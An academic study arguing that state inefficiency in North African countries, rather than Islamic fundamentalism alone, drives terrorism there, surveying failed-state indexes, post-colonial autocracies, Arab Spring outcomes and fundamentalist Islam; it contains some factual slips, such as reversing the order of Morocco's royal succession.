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PROBLEMS OF STATE EFFICIENCY AND TERRORISM IN NORTH AFRICA

Motto:
"You can never win a war against terror as long as there are conditions in the world that make people desperate – poverty, disease, ignorance, etc."
Arch-bishop Desmond Tutu, 2007

Abstract

The study examines how the state inefficiency in North Africa has led to the increase of the terrorism in these countries. The reasons of terrorism in these countries are fairly complex, cannot describe with only one feature, like the Islamic fundamentalism, but much too far related to state efficiency issues.
The study will analyze the segments of the state inefficiency that are typical as the reasons for the terrorism in North Africa, but will examine the countries one by one, as well. That is, there are general phenomena which are closely related to the terrorism, there are special features in these countries, too, which cannot be described with the general tendencies in themselves.
Finally, conclusion will be made on the strategies in developing the efficiency of the state which could serve as a tool in the counter-terrorism of North African countries. The standpoint of the study is that terrorism cannot be defeated by the military itself, but by a complex development of the state functions which are capable to eliminate the roots of the terrorism.

Key words: terrorism, North Africa, state efficiency, Islamic fundamentalism, good governance, economic-social problems, rebellion, religious-ethnic violence, human rights.

Introduction

The aim of the study is to shed light on how the state inefficiency in North Africa has led to the increase of the terrorism in these countries. The terrorist attack in the gas plant in Algeria, and the armed conflict caused by the Tuareg tribe in Mali – both in 2013 - called the attention to the fact that North African countries have increasingly served as a safe haven for terrorist groups.

Terrorism in North Africa has special features compared to that of in the Middle East, although, there are certain similarities, of course. The reasons of the terrorism in the North African countries are fairly complex, cannot describe with only one feature, like the Islamic fundamentalism, but much too far related to state efficiency issues.

The study will analyze the segments of the state inefficiency that are typical as the reason for the terrorism in North Africa, but will examine the countries one by one, as well.

This is because there are general phenomena which are closely related to the terrorism, but besides, there are special features in these countries, too, which cannot be described with the general tendencies in themselves.

It should be noted, too, that the terrorism has special features in the North African countries, to compare then with the Middle East. The most important difference is that most of the terrorist groups in North Africa have been Al Qaeda affiliates, but they are reluctant to implement terrorist attacks on global level, "just" in North Africa, and they are, however Jihadists, do not want to establish the World Caliphate, "just" to infiltrate in the state authorities here.

Finally, conclusion will be made on the strategies in developing the efficiency of the state which could serve as a tool in the counter-terrorism of North African countries. The starting point of the study is that terrorism cannot be defeated by the military itself, but by a complex development of the state functions which are capable to eliminate the roots of the terrorism. It is not hopeless, even many consider it fairly seems to be so.

1. Meaning and relevance of state efficiency in North Africa

The question of the efficient state has been one of the most often debated issues in Europe and the US since the 1980-s.

The neoliberal economic policy which was rooted in the US in the second part of the 1970-s, was transformed to the practice in the form of New Public Management. This latter one had three segments: establishing more market and less state, using management means in the public sector, and applying business principles. It meant that the state was expected to withdraw from the market, in other words, to intervene in a less manner in the economic processes, and principles of market mechanisms, such as private ownership, market competition, profit-motivation, more opportunity for the customer choice, etc., were emphasized.

The European public administrators sought for the answer to the question, if the New Public Management could be applied in the centralized, law-governed European public administration systems, in the so called "Weberian model". By the end of the 1990-s it became quite clear in Europe, that the principles of the neoliberal economic policy could not be applied in the public sector in the American way, although some elements, such as public policy in the quality legislation, e-Government in the administrative jurisdiction, public leadership in the public service, privatization of certain public services, etc. were introduced. The neoliberal economic policy could never changed, however the solidarity-based welfare system in Europe to a business view-oriented that developed in the American model.

The issue of the state efficiency in the developed Western countries had another aspect, as well, which was identified as the requirements of good governance during the 2000-s. The world economic crises in 2007 called the attention to the importance of the state intervention in the economy, i.e. to solve certain market failures, such as to strengthen the stock and money market supervision. As a result, the neoliberal economic policy was accused with the economic problems, and instead of the neo-liberalism, an expectation had been seen towards a strong state that can solve economic and social problems in a highly efficient way.

The good governance includes several requirements towards the government, e.g. predictability, accountability, transparency, accessibility, public interest-orientation, professionalism, etc. The relationship between the politics and the public administration was rethought by the political and administrative scientists, too, e.g. the system of checks and balances, the role of the interest groups (lobbies) the majority-based democracy, the decision making process of the government, the formulation of the public interest, the issues of the so called "spoil system", etc., and called the attention to the different solutions between the European and US state systems.

The aforementioned issues of the state efficiency arose in the European post-communist countries as a challenge to establish a market-oriented economy, instead of the former communist bureaucratic economic administration, and also, to build a democratic state system to change the former dictatorial, one-party based regimes. These goals could not be achieved without difficulties: in the lack of democratic traditions, the post-communist countries in Central and Eastern Europe had to face only a slow evolution of a well-operating market economy and governance based on democratic values. Efficiency requirements do not have such a refined meaning here, like in the developed Western countries, the goal seems much rather to achieve just the basic institutions of the Western-type democracies.

When the study is trying to analyze in the North African countries how the state inefficiency has led to the escalation of the terrorism, it is needed to identify what elements of the state efficiency will be examined. That is, in a weak or failed state there would make just little sense to discuss the characteristics of the efficient state evolved in the developed Western countries. Instead, the study has to focus on those basic functions of the government, necessary to prevent the total disintegration of the state, which is thought to be capable eliminate the spread of the terrorism. When examining the efficiency requirements of the state in their relation with the terrorism, it should be emphasized the specialties that reflect the failures of the states in North Africa.

Many political analyzers believe that the Arab Spring has led to the "arc of instability" in North Africa, which gave a path to the al Qaeda and its affiliates to have a safe have here, and implement terrorist attacks from this basis.[1] The arc of instability covers Somalia, Ethiopia, Sudan, Chad, Niger, Nigeria, Libya, Tunisia, Algeria, Morocco, Mauritania and Mali. Egypt. The AQIM (Al Qaeda in the Islamic Maghreb) and its affiliates however, have been in Chad, Niger, North Nigeria, Mali, East Mauritania, Western Sahara, South Tunisia and South Libya, which is not coincided either with the countries of Arab spring, or with the collapsed and failed states. Somalia and Sudan have nothing to do with the Arab spring, but Al Qaeda affiliates have infiltrated in these countries, too. Consequently, it should be other factors, as well, that determine the increasing terrorism here.

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[1] Alexander, YONAH: *Terrorism in North Africa & the Sahel in 2012*: Global Reach & Implications. p. 4. Inter-University Center for Terrorism Studies, Potomac Institute for Policy Studies, Arlington, VA 22203, February, 2014.

2. Means of measuring the terrorism and the quality of the state

Africa is a continent of superlatives:
− The poorest continent: 50% of the Africans live less than one US $ per day.
− The fastest population growth, 3,5 % per year can be seen in the urban areas.
− The highest proportion of people having AIDS is found here.
− Africa has the highest proportion, 66% of people living on agriculture
− Here is the highest proportion, 75% of people under the age of 25.
− The lowest proportion, 6% of the cultivated lands are in Africa.

It should be mentioned that the aforementioned superlatives are true to the whole continent, but there are sufficient differences between the countries in the regions of Maghreb and Sahel in North Africa. Egypt, Libya, Algeria, Tunisia and Morocco in the Maghreb are highly more developed from many perspectives, such as economy, political culture, state system, infrastructure, human services, etc., than Mauritania, Mali, Niger, Chad, Sudan, Nigeria, Somalia and Ethiopia in the Sahel.

The question the study tries to answer is that the countries in North Africa in what sense should be considered as efficient or inefficient states, and if any conclusion can be drawn between these factors and the increasing danger of the terrorism that developed during the last decade since 9/11 in this region.

The map on the most wretched places (Annex 1) shows the safe havens of the terrorists that have been founded – among others – in the Sahel however there is no any failed state, only one critically weak state, Chad here. A map made by the ACLED (Armed Conflict Location & Event Dataset) on the Conflict Actors in North Africa and the Sahel Region (Annex 2) in 2012 shows that the most active Al-Qaida affiliates and allies can be found in Northern Mali, but many in the Northern part of Mauritania, Niger, Chad, and the Southern part of Algeria and Libya, as well. These countries belong to the Sahel in North Africa.

The diagram (Annex 3) made by the ICTS (Inter-University Center for Terrorism Studies) about the "Terrorist attacks in the Maghreb and Sahel since 9/11" shows that the number of the terrorist attacks increased from 21 to 204, almost ten times more, by 2009, and decreased by 144 in 2012. The number of the terrorist attacks since 9/11 was extremely high in Algeria, 1.234, between 27 and 58 in Mauritania, Mali Niger, Chad and Ethiopia but relatively low, between 4 and 9 in Morocco, Tunisia and Libya.

The "Terrorism Risk Index of 2013" (Annex 4) shows that the extreme high risk of the terrorism can be identified in Algeria, Sudan, Nigeria and Somalia among the North African countries, which does not exactly mean the area of Sahel.

The aforementioned data show that the safe havens of the terrorists are the area, where the terrorism has a high risk, but on the other hand, it is diverging, too. The safe havens are the place for the basis of the terrorist groups, where the terrorists can hide, recruit and train terrorists in the terrorist camps. The extremely high risk of the terrorist attacks means, however, that the most terrorist attacks have occurred, or will most probably occur in the given area.

The "Index of the political violence and terrorism risk" (Annex 5) shows that most of the North African countries belong to the severe category. Algeria, Mauritania and Ethiopia

are in high risk, and only Morocco has a medium risk. It can be seen from these indexes that the risk of the political violence and the terrorism is much higher in North Africa than the risk of the terrorism itself, which calls the attention to the fact that this region is especially threatened by insurgences, civil wars, riots, rebellions, uprisings and human rights violations, such as mutilation, stoning to death, lashing, torture and execution.[2]

It should be noted that the risk of the political violence and terrorism is also severe in other countries in Middle Africa and the Middle East. The reason for the high risk of the terrorism in the Middle African countries, such as the Central African Republic, the Democratic Republic of Congo, Uganda, Rwanda, is the operation of a non-Islamic terrorist group, the Lord's Resistance Army here. The political violence has been high, too, because of the local tribal conflicts.

The next step of the study is to identify the methods for the measuring of the inefficient versus successful states, and set up a preconception, if it is related to the features of the terrorism in North Africa.

According to the "Failed States Index of 2013", (Annex 6) made by FFP (Fund for Peace), countries, such as Sudan and Somalia in North Africa or Congo in South Africa are identified as the three failed states in the alert category in all over the world. Ethiopia, Chad, Nigeria, are in the second worth, in the warning category, Egypt, Libya, Algeria, Morocco, Mauritania, Mali and Niger are in a better category, but do not belong to the stable and sustainable countries, either. Stable and sustainable states can be found just in Western and Eastern Europe, North America, Australia and New Zealand.

The widest accepted criteria of the failed state are as follows:

a.) Human dimension
– Demographic pressure
– Massive movement of refugees
– Chronic sustained of human fights
– Violation of human rights

b.) Political/government dimension
– Group grievances
– Lack of legitimacy of government
– Week security apparatus (military and police)
– Rise of factions in the elite

c.) Economic dimension
– Economic recession
– Poverty – economic inequality
– Declining level GDP/capita
– Corruption

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[2] J.F.FOREST – GIROUX, Jennifer: *Terrorism and Political Violance in Africa: Contemporary Trend and a Shifting Terrain.* p. 1-7. Journal of Perspectives on Terrorism, 2011.

d.) Public service dimension
- Inefficient infrastructure
- Epidemics
- Poor health and education
- Inefficient food and water supply

Besides the Failed States Index, there are three other indexes, such as corruption,(Annex 7) global peace, (Annex 8) and democracy. (Annex 9) These indexes show almost the same: the stable and sustainable states are the best ones from the point of view of corruption, peace and democracy, but North African countries have the lowest level peace, the highest corruption, and the lack of democracy is typical. The "Democracy Index" has 6 segments: electoral process, pluralism, civil liberties, functioning of government, political participation and political culture. North African countries are authoritarian (Chad, Somalia) flawed democracies (Libya, Mali, Tunisia) or hybrid (Morocco, Mauritania, Egypt, Niger) and the rest ones (Algeria, Nigeria, Ethiopia) are still fairly problematic. [3]

We can draw the conclusion on the basis of the aforementioned indexes that terrorism is not closely connected with the failed characteristic of the states.[4] The question to be answer is, what kind of factors have led to the contemporary situation, i.e. North Africa has been increasingly jeopardized by the terrorism?

3. Requirements of state efficiency in North Africa

On the basis of the aforementioned analyses, conclusion can be drawn that the indexes mapping the failures of the states do not give a clear pictures about the reasons of the increasing terrorism in North Africa. Instead of these indexes, the study will examine this problem form another aspect: the special questions of state efficiency in North African countries.

The study has outlined the following segments of the efficient state that will be examined as determining factors of the terrorism, and also, the means of combating against terrorism in North Africa.

a.) Stable and predictable government
- Permanent lack of legitimacy is typical, because autocratic presidential systems and military juntas are changing all the time. Neither of them have legitimacy due to their democratic deficit.
- The scenario: coup-d'etat – military junta – legitimating afterwards by parliamentary and presidential elections, new constitution confirmed by referendum. The elections and the referendum are often not fair.

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[3] Kennedy BOUDALI, Lianne: *The Trans-Sahara Counterterrorism Partnership*. p. 8. The Combating Terrorism Center, United States Military Academy West Point, 2007.
[4] Colonel A DEMPSEY, Thomas:*Counterterrorism in African Failed States: Challenges and Potential Solutions.* p. 1-4. 2006.

‒ A government shall be considered as legitimate if it is based on free and democratic elections, multi-party system, check and balances in the state system, and the constitution is accepted by the majority of the population.

b.) Strong central and local government
‒ Strong - but not brutal - military forces and police, effective intelligence, coherent jurisdiction in order to cope with the armed conflicts and terrorist attacks.
‒ Protection of human rights by the legislation and jurisdiction. Autocratic states in North Africa are typical in this region, which is the hotbed of riots, revolutions, and uprisings.
‒ Control of the territory and borders by the law enforcement, because there are nomadic tribes and desert areas in North African countries, what is a safe haven for the terrorist groups.

c.) Implementation of public tasks:
‒ Public goals can be determined only by a pluralist system, where besides the public authorities, political parties, NGO-s, trade unions, lobbies and other organizations of the civil society will participate in the decision making process. Instead of these requirements, it is typical in North Africa that a small minority of the population owns the political power.
‒ Special public tasks emerge in the North African countries, such as economic development, management of demographic pressure, epidemics, desertification and water scarcity, infrastructure development, social welfare services (health care, education, employment programs) fair redistribution (proportional taxation, increasing living standard) etc.

d.) Transparency and accountability:
‒ Corruption is especially high in the North African countries. This is why transparency and accountability has a special importance here.
‒ Integrity means that the operation of the public authorities shall be based on the rule of law and ethic codes.
‒ Open society requires access to public data, free media, freedom of speech, freedom of assembly, and freedom of association.
‒ Mechanism against corruption should have independent controlling authorities, unbiased jurisdiction and institutions for the prevention of corruption.

e.) Prevention and management of internal conflicts:
‒ Several internal conflicts caused by ethnic, religious, social, political, etc. hostility can be seen in North Africa.
‒ In case of internal armed conflict, a compromise will be needed with the opposition, instead of brutal reprisal.
‒ In order to solve the internal conflicts, well fit mechanism of mediation and reconciliation should be applied.

–   Motivated, well trained and equipped law enforcement, also, military forces using modern procedures are needed against terrorist groups.

Indexes of failed state, democracy, global peace, corruption and the requirements of state efficiency have overlapping in their points of view, but it should be underlined, that the latter one is more complex, so, has been better adjusted to the specialties of North African countries.

4. The stable and predictable state vs. terrorism

4.1. The colonial heritage in North Africa

The aim of the colonial states was to extract resources for their benefit. Colonial states, which were authoritarian, weak, corrupt, and did not have legitimacy, had just little concern for the improvement of the population's conditions. Only the industrial infrastructure was developed, but not other public services, such as health, education, housing, energy and water supply, public transportation, or the public goals, such as economic development or employment.

After the colonial states had become independent from their colonists since the 1950-s in Africa, a special political system developed in the most part of the continent that inherited the structure and political culture of the colonial states. These new independent states were typified by the rising of the new, small, local elite, which was westernized, but followed their private goals, not the public interest. The independence wars were fought primarily by this small group of educated Africans, but there was no middles class that could have held a control over the new elite. The majority was suppressed by the small privileged elite. The serious inequality in these societies remained unchanged and unjust, corrupt and unaccountable governments developed in the continent.

As a result, the majority, approximately 85% of the population, lived in rural areas, and worked in the agriculture. They are the losers of the independence wars. Rural areas were not developed, because the state resources were distributed to the elite. The farmers have to pay extremely high tax, which is in Tanzania, e.g. 84%. People of the rural areas remained poor, with extremely low income, without basic human services, such as education, health care, social aids, labor opportunities, or infrastructural public services, such as water and electric supply, canalization, public transport, roads, etc. This population did not have any chance to express their interest in the authoritarian state system.

The states have an exclusive right to extract the natural resources, so the public administration and the business matters have been interwoven and controlled by the local elite. The political elite, in order to keep their political power, centralized the public administration, prohibited the multi-party system, eliminated checks and balances in the state system, and implemented an extreme spoil system, in which the patronage became the rule. This structure has become the hotbed of corruption on state level. Nigeria can be mentioned as the most extreme example to the phenomena: the country is rich in oil, but the huge income

from the oil production has not even appeared in the state budget, because it will directly be transformed to the private bank accounts in foreign banks.[5]

The political system was based on a one-party system, and the autocratic state lacked democratic values, instead, centralization, patronage system and corruption prevailed. These states in most cases, however, were not strong dictatorships, like e.g. Libya, but weak and unstable. This is why coup-d'etat could happen so frequently by the military forces and establish military juntas, or, in better cases, autocratic presidential systems.

4.2. Autocratic governance in the North African countries and the questions of the stability of the state

4.2.1. Autocratic presidential system

The presidential system in North Africa does not mean a Western-type democratic model, but an autocratic one. It is typical in these countries, that the autocratic governments can keep their power for decades, or, are often changed, but in both cases come to power by coup-d'etat, not parliamentary elections.

When parliamentary elections or referendum are held, they are in most cases not fair and free, but serve to confirm the president or the constitution, in order to give them legitimacy, after the president has not been democratically elected, or the constitution has not been based on a wide recognition of the population. A military leader in most cases acquires the political power by coup-d'etat, and become the president.

It also often happens that the president tries to keep his position, and makes the parliament amend the Constitution to regulate that the president can be elected unlimited times.

The president in these autocratic systems tries to centralize the political and the state power in his hand, which means that there are no political parties, or just one in the parliament and it is the right of the president to appoint the prime minister and his cabinet, the president of the Constitutional Court and the Supreme Court.

There is no way in such a system for the social groups to express and enforce their interest, in other words, this practice is against a democratic value, the pluralism. Checks and balances, which is another democratic principle, i.e. the power sharing in the state system, does not work, either: the branches of power, such as the legislation, jurisdiction, constitutional supervision and public administration have served only as a decoration, but did not have a real competence.

4.2.2. Examples to the autocratic presidential system in North Africa

In Egypt, after the monarchy had been overthrown in 1952, the Nasser, the Sadat and the Mubarak governments representing a strong and stable presidential system, implemented

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[5] PECORARO, Alberto: *What are the Political Causes of Failed States in Sub-Saharan Africa?* p. 1-5.

some reforms in the field of land, education, social mobility, liberalization, economic development, etc., however violated the human rights and introduced the Sharia law.

Algeria also had a strong and stable political and state system based on autocratic features. After the FLN (National Liberation Front) had won the independence war against France in 1962, the first two governments strengthened the military forces and nationalized the oil industry. Only the Bendjedid government since 1970 liberalized the economy and implemented economic reforms. A social unrest that unfolded against the autocratic system in 1980 demanded a multi-party system. As a result of the former state policy that emphasized the Arab culture in the society and public life, the FIS (Islamic Salvation Front) won the election in 1991 and established a broad coalition of Islamist groups. The government cancelled the result of this election and banned the FIS. A civil war between the FLN and FIS broke out, and ended only by 1999. Free election was held, and president Bauteflika could reach the political stability by giving amnesty to the FIS. The Bauteflika government had to face the strengthening of the GSPC (Salafist Group for Call/Preaching and Combat) which followed an aggressive, extreme, fundamentalist policy against the government, but the government tried to reconcile the national hostilities. Despite the political, economic, public sector and social reforms, such privatization, liberalization, successful employment and housing policy which tried to modernize the country, the state remained an autocratic one-party system: the president was the head of the army, and the most important public authorities, and had the right to appoint the prime minister.

Tunisia won the independence from France in 1956. Ben Ali acquired the power in 1987 by coup-d'etat from the Bouquiba government and ruled in an autocratic presidential system until 2011. This regime was corrupt, violated the human rights and could not solve serious economic and social problems, such as unemployment and inflation.

The history of Mauritania saw a lot of coup-d'etat since 1964, when the state became independent, but still based on one party system and authoritarian presidential regime. President Daddah was reelected more times until 1976, when a military junta acquired the political power and kept it until 1980. Taya was elected as the president in 1980 first, but reelected in 1992, 1997, and 2003. In 1987 the black from Senegal attempted a coup-d'etat, but it was not successful. In 2005 another military coup established a Military Council that implemented election and referendum. Abdallahi was elected as president at that time, but finally, in 2008 Abdel Aziz General acquired the political power by military coup, and was elected as president. Multi-party system was introduced only in 1991.

In Mali the Keita regime came to power in 1960, when the country became independent. A military coup led by Troare in 1968 acquired the power until 1991, when another coup-d'etat represented by the opposition of Troare tried to overthrow the Troare regime. It was not successful, and Troare brutally suppressed the opposition, arrested and tortured its members. A civil war broke out with harsh fight in the country between the government army vs. the opposition parties and civil groups. The military finally put down the arms then Troare was arrested and sentenced to death. The new president, Touré was elected in 1997, and could establish stability and good relation with France and the US.

Niger is also a typical country, where the coup-d'etat frequently changed each other during its history since its independency of 1960. In 1967 a civil war between the North and the South, caused by ethnic, tribal and religious hostility, broke out, and resulted many killed

people, disease, and starvation. The multi-party system was introduced more times, but coup-d'etats did not finish: failed military coup, assassination, rebellions have been typical until this time.

Nigeria cannot be considered as a stable state, either. Its history since its independence from the United Kingdom in 1963, has been full of military putsch, rule of several military juntas, civil war, unfair and un-free elections, ethnic violence, brutal reprisals by rapes, tortures, cruel treatments, detentions, executions, etc., violence of human rights, such as human traffic, prostitution, forced labor, child labor, discrimination of regions, sex and ethnic. State corruption is extremely high, and also the immigration of the population to the US.

Chad became independent form France in 1960. Its history saw two coup-d'etat, in 1987 and 1990, two civil wars in 1965 and 2003, but two rebellions in 2006 and 2009. President Deby who acquired the political power by military putsch in 1990, was reelected many times, and at the moment is still the president of Chad in a one-party system. The country has serious economic and social problems, as well, such as state corruption, poverty, violence of human rights.

Sudan has a worst history in North Africa. Since its independence from Egypt and the United Kingdom in 1956, altogether 11 presidents came to power, half of them by military putsch, the other half by non-free and unfair elections. There are no political parties until this time. As a result of a harsh civil war with genocide and many refugees in 2003 in Darfur, between the government and the non-Arabic, black population, the South Sudan became independent by the referendum in 2011, but there are still serious armed conflicts in this area. The country has one of the most important oil productions in Africa, but more than the half of the population lives in rural areas, and work in the agriculture.

Ethiopia was an empire from 1945 to 1974, then a communist state, and only since 1990 became a republic based on multi-party system. The state system is considered autocratic, and political-liberty rights are not guaranteed. The country can be considered as a stable state, with a strong army, however extremely poor, without natural resources. The population lives dominantly from agriculture.

Somalia became independent in 1960 from the United Kingdom, when a presidential system was established, free election was held, and a constitution was accepted. The president was assassinated this year, and Siad Barre acquired the political power by military putsch. The Siad Barre socialist government that ruled until 1991, was under the influence of the former Soviet Union, nationalized the private properties and implemented successful economic and social programs. Until the hostilities in 1990 between the landlords and the Islamic fundamentalists, it was a stable state, but due to the two civil wars, the state collapsed. This was – among others - because the Soviet control was finished by the beginning of the 1990-s. The temporary government, the TFC (Transitional Federal Government) came to power, but could not dominate in powering the country, even in the capital. The country has been directed by a tribal assembly, too, until this time. The ICU (Islamic Court Union) represented by Islamic extremists, occupied almost the whole counties, but still survived in the form of a terrorist group, the al-Shabaab In 2010 the country became a federal republic, with a new constitution, but still has to face with an anarchy in the country.

4.2.3. Constitutional Monarchy

The only constitutional monarchy in North Africa is Morocco, but it is not a Western-type, either. The most important difference is that the king has a wide competence over the state system, while the kings in Europe play a balancing role based on their prestige and represent the unity of their nations without real authority.

After King Mohammed VI had died in 1999, his son, Hassan II came to the throne. The king's competence in Morocco:
- Supervises the executive power, appoints the prime minister and his cabinet.
- Can override the decisions of the government and dissolve the parliament, as well.
- Can issue decrees, which have the force of law.

The legislative power has been divided between the government and the parliament however, as mentioned above, the king has a wide competence to control both the government and the parliament. The multi-party system was introduced and political reform was implemented in 1999 by Hassan II, who is – as opposed to his father, who tried to suppress the parliament and did not hinder human rights abuses – considered a reformer.

4.2.4. Military juntas

As mentioned before, the political power of the military junta is not rear phenomena in the continent of Africa. The North African states that we described above as presidential systems, used to be military juntas in many times, but typically just in a relatively short time. As mentioned, the military leaders who implemented the coup-d'etat, tried to legitimate their political power and became president. It is another question that it in most cases does not happened in a democratic way, and the presidential system they established were in fact autocracy, which differs from the military junta only with the formal existence of the branches of the state power.

The most extreme example to the military junta in North Africa is Libya under the power of Gaddafi, who, after he acquired the political power by overthrowing the monarchy in 1969 by coup-d'etat, established the so called "Great Socialist People's Libyan Arab Jamahiriya" which is naturally not a new type of the government, but named by Gaddafi. In fact it was a dictatorship in the form of military junta. Kaddafi often called himself as "the king of the kings in Africa".

Gaddafi had an unlimited political power represented an extreme dictatorship until the revolution in 2011. The 80 % of the GDP was based on the income from the oil production. This wealth of the country gave him an opportunity to develop social security, housing and education. After the UN sanction in 2003, Gaddafi was forced to implement some reform, such as liberalizing the economy, privatizing 100 state-owned enterprises, reduced state subsidies, pursuing a less aggressive foreign policy, etc.

4.3. Conclusion on the autocratic-type governance and the problem of state instability

On the basis of the analyses above, the study can make the conclusion that there is sufficient difference between the countries in Maghreb and Sahel from the point of view of state stability.

Countries in Maghreb, such as Egypt, Libya, Tunisia, Algeria, and Morocco, had strong and stable autocratic governments, which were autocratic, but implemented some economic and social reforms, and could cope with serious internal conflicts, which only sometimes happened, e.g. in Algeria in 1999. Somalia and Ethiopia could be regarded as other examples outside the Maghreb, because they had a strong and stable government until 1990, when the influence of the Soviet Union finished.

Quite the contrary, the counties in the Sahel had many coup-d'etat, which undermined the stability of the state. These regimes, either in the form of military junta or presidential system, had just little success to implement economic and social reforms. They could not cope with the challenges of social and economic problems, the human rights violation, and the ethnic and religious conflicts, either. Corruption was extremely high in these countries. The Arab spring in 2011 led to undesirable effects in the countries of Maghreb.

In Egypt the opposition that was not satisfied with the level of democracy, broke out a revolution in 2011. As a result of the revolution, an election was held. Morsi - who was supported by the Muslim Brotherhood that is considered an Islamic fundamentalist terrorist group – won the election and appointed his cabinet from the members of Muslim Brotherhood. The traditionally strong military in Egypt could acquire the political power back from Morsi by coup-d'etat, and establish an interim government. Free election and referendum will decide about the new government and the constitution. Egypt will probably be capable stabilize its state system in the coming future.

A brutal civil war broke out in Libya in 2011, which required a NATO military intervention based on UN mandate, too, and led to the total collapse of the Gaddafi regime. The reconstruction of the state system was not successful until this time: the National Transitional Council operates under political control and interim constitution, the General National Congress elected in 2012, has more political parties, one of them is affiliated with the Muslim Brotherhood. A referendum will be held later. The National Army of Gaddafi was defeated in the civil war, but could not been re-established yet. So, militias control most of the areas of the countries, and the central government is fairly week. Weapons of the Gaddafi government got in the hand of the terrorist groups of this region.

The Bauteflica government in Algeria survived the Arab spring in 2010, because it could make a compromise with the opposition. As a result, the multi-party system was introduced, a free election was held however it was queried by many if it was fair, but as well as other political parties won seats in the Parliament. Other political and constitutional reforms were implemented, too. There were economic and social problems, such as the dominant role of the state in the economy, high youth unemployment, housing shortages, etc., to which the Arab spring called the attention. The Bauteflica government spent 286 billion $ to human development, salaries, grants and benefits in order to meet the demands of the opposite.

In Tunisia the revolution initiated by the labor unions in 2011 led to a democratic process. Multi-party system was introduced, secular state and freedom of religious was

enacted, equality as a constitutional right was accepted, and modern law was implemented instead of the Sharia law. The military had an apolitical role during these social changes.

The King, Mohamed VI. in Morocco implemented political, economic and social reforms due to the Arab spring in 2011-2012. The power of the king was curbed, a new constitution was accepted by referendum, state-owned enterprises were privatized, and educational, social, health care reforms were performed. The king could keep his power in the way of compromise with the opposition.

The Arab spring in the Maghreb that meant the unrest of the opposition of the autocratic governance here, was expressed in the form of riots, uprisings, revolutions and civil war, and could change these anti-democratic state systems. The extent of the democratic processes has been different, however. The revolution in Libya could overthrow the Gaddafi regime, but left a chaos and disintegration in the governance, which can be explained by the least democratic tradition of the country in the region. The governments in Egypt, Algeria and Morocco could keep the power when made a compromise with their oppositions. Tunisia, where the former government was so anti-democratic and inefficient that the compromise could not be made with the opposition, has been on the right track by a new democratic government in a democratic process.

Conclusion can be made that the success of the Arab spring in the countries of Maghreb depended to a great extend on the level of democratic tradition and political culture. Not accidently, Libya, the former most extreme dictatorship in North Africa had the least success to establish a sufficient government after the collapse of the Gaddafi regime.

The countries in the Sahel were mostly avoided by the Arab spring.

In Mauritania the demonstration in the street in 2012 did not have any influence on the contemporary government.

Long before the Arab spring, Mali had a revolution in 1991, which resulted free election and revolution and lunched democratic processes, such as the declaration of the freedom of religion, the secular state, and economic-social reforms, such as privatization and connection to the Western fiscal market by the help of the World Bank and the International Monetary Fund. Serious internal conflicts and social problems, however, remained in the country, which could not be solved by the weak government and the insufficient military.

Niger, Nigeria, Chad and Ethiopia were not touched by democratic changes at the beginning of 2010-s, however Ethiopia is much more stable country than the former ones.

As mentioned, Sudan fell into the anarchy and the chaos after the rough civil war in Darfur since 2003. The collapsed state could not be stabilized even after the peace in 2005 and the referendum held in 2011 about the independence of South Sudan. The country is still in the place of dictatorship, serious armed conflicts and a huge number of refugees. After Somalia, this is the third worst state in the Failed State Index.

Somalia became a republic and had a new constitution at the same time, in 2010, but is still a failed state on the top of the Failed State Index.

As it will be explained later, there is a close connection with the instability of the state and the terrorism, because the terrorist groups can find a safe haven in the collapsed states, such as Sudan and Somalia, where the state authorities are so insufficient, and law enforcement does not work to such an extent that they do not have to be afraid of being

caught. Moreover, the terrorist groups can easily establish state authorities based on the Islamic fundamentalism, as well.

The stability can be assured only by legitimacy of the government, which supposes multi-party system, free, democratic and fair elections, referendum and democratic governance, i.e. the real and effective checks and balances in the state system. Autocratic governments can be stable for a long time, but sooner or later will be overthrown either by coup-d'etat or the unrest of the democratic opposition. It is queried, if the stability will be able to be kept anymore when the autocratic state is collapsed.

5. The strong central and local governments vs. terrorism

5.1. The ethnic and religious hostilities in North Africa

5.1.1. The Islamic fundamentalism

The next issue the study will examine if the Islamic fundamentalism has been a tradition in North Africa, and if so, how it influences the terrorist tendencies in this region.

The Islam has basically there branches: the Sunni, the Shiah and the Khawarij, which has many sub-branches, such as Shafi's Ima'ilism, Druze, Alawi, Akbari, etc. The group of Sufi forms a separate ideology and has seven sub-branches. The hostility between the Sunni and Shiah groups has been widely known as a part of the Arabic politics in the Middle East, like in Iraq, for example. There are also conflicts between the countries where the Sunni or the Shiah form the majority of the population, e.g. Iran, Saudi Arabia, Syria, Lebanon, Afghanistan, Iran, etc.

The liberal Islam admits that the Quran can be read in many ways, accepts the independent thoughts on it and tries to reconcile the religious. It is important that the liberal Islam emphasizes the secular state, and respects the human rights, e.g. the equality of the women.

The main characteristic of the fundamental Islam is that it returns to the fundamentals of the Quran.[6] It was originated in Egypt, during the 1940-s by the Muslim Brotherhood, and followed up in Iran in 1980, by Khomeini. The Hamas in Palestine was also founded in 1987 by the Muslim Brotherhood. The military leaders of the fundamentalist Islam could acquire the state power in Iran, Afghanistan, Algeria, Sudan and Egypt during the last decades. The Islam fundamentalism could be rooted in those countries, where the population, e.g. the Talibans in Afghanistan, the Pastu in Pakistan, or the Shita Persians in Iran was responsive to it.

The fundamentalist Islam has basically two forms: Wahhabism and Salafism. The Salafi Islam is a movement of the Sunni Islam, associated with the strict, literal and puritan Islam, but it has a minority group, the jihadists. The Salafi schools are originated from the second part of the 19th century as a reaction to the spread of the Western culture.

The Wahhabism movement related to the Sunni Islam, too, is rooted in Saudi Arabia in the 18th century, and spread in the Arabian Peninsula. It is also based on the ultra-orthodox

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[6] Islamic fundamentalism. Wikipedia, the free encyclopedia.

Islam, encourages and strengthens the Islam fundamentalist groups, but do not have jihadist groups. There are still Wahhabist schools in Saudi Arabia.

The Sharia law based on the fundamental Islam is a moral code and a legal framework for those who live under the Islam. In most of the countries, where the majority of the population is Muslim, the Sharia law was introduced. The Sharia law is inconsistent with the freedom of religious, the equality between men and women, the freedom of speech and the secular state. It regulates public and private life, such as politics, economic, business, sexuality and social issues, such as diet, prayer, etiquette, fasting. It has a marriage law, that regulates the marriage, i.e. who and under what conditions can marry the other, penalties for the theft, which can be imprisonment or amputating hand or feet. Two eyewitnesses are required the theft to be proved. The adultery is punished with 100 lashes if committed by unmarried persons, but with stoning to death if they are married. This crime requires four man eyewitnesses in order to be proved. The women should be at home, cannot be educated, or work, participate in political and social life, and have to wear chador.

